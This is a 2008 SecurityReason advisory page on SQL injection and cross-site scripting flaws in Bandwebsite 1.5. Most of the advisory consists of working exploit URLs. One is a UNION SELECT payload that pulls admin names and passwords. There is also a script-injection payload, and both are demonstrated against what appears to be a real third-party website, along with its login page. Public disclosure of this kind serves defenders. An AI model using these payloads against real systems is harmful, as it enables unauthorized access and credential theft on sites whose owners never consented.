|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | Bandwebsite 1.5 (SQL/XSS) Multiple Remote Vulnerabilities
|
SecurityAlert : 4689
CVE : CVE-2008-5337 CVE : CVE-2008-5338 CWE : CWE-89
SecurityRisk : High (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : Yes
Credit : ZoRLu
Published : 07.12.2008
Affected Software : | multimania:bandwebsite:1.5
multimania:bandsite_portal_system:1.5 |
 Advisory Content : [~] Bandwebsite Version 1.5 Sql & XSS Multiple Remote Vuln.
[~]
[~] download: http://membres.lycos.fr/fluxx/bandwebsite.php
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu msn: trt-turk@hotmail.com
[~]
[~] Date: 24.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Kucuk Bir Rica: Lutfen DemolarI Hacklemeyin ( pls dont make hack demos
)
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: OGRETMENLER GUNUMUZ KUTLU OLSUN : ) )
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------
exploit:
http://localhost/script/lyrics.php?section=full&id=[SQL]
http://localhost/script/info.php?section=[XSS]
[SQL]
99999999+union+select+1,name,3,pass,5+from+admin--
example:
http://www.caro-kunde.de/lyrics.php?section=full&id=99999999+union+select+1
,name,3,pass,5+from+admin--
login:
http://www.caro-kunde.de/login.php
XSS:
http://www.caro-kunde.de/info.php?section="><script>alert()</script>
[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org & darkc0de.com
[~]
[~]----------------------------------------------------------------------
References :
http://securityreason.com/expldownload/1/5180/1 (Exploit)
http://z0rlu.blogspot.com/2008/11/bandwebsite-15-sqlxss-multiple-remote.html
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|